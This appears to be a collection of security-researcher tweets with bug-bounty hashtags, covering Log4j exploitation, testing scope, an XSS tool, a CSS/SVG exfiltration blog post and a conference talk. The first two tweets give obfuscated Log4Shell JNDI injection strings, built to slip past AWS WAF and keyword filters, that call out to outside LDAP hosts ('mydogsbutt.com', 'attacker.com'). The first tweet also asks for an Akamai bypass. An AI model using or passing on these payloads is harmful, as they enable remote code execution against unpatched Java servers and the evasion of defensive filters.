Just bypassed AWS WAF for log4j jndi injection:
${j${k8s:k5:-ND}i${sd:k5:-:}ldap://mydogsbutt.com:1389/o}
Anyone who care to share Akamai Bypass?
#bugbountytips
If you're filtering on "ldap", "jndi", or the ${lower:x} method, I have bad news for you:
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
This gets past every filter I've found so far. There's no shortage of these bypasses.
#log4j
Companies not letting security researchers conduct full tests is like asking your doctor to only perform half of your annual physical. In @SCMagazine, Bugcrowd's @caseyjohnellis details why this is happening so often and what can result from limiting scope https://t.co/pz4LGJePk5
#KNOXSS really made me proud of, not just for what it made possible to achieve for several guys out there but also for what it has done for my big family (wife, kids, dogs & cats)!
Thank you all of you who ever had experienced my greatest work in those 5 years!
๐๐๐พ
Blogged! I wrote about data exfiltration technique via CSS + SVG font
https://t.co/OQMgYUL0T0 (English)
https://t.co/FVMbdcJ067 (ๆฅๆฌ่ช)
https://t.co/5DDG1DM4jp (video)
Putting the final touches for "Do you speak my language" presentation @BlackHatEvents
You can read more about the presentation in
https://t.co/709XlQpoCZ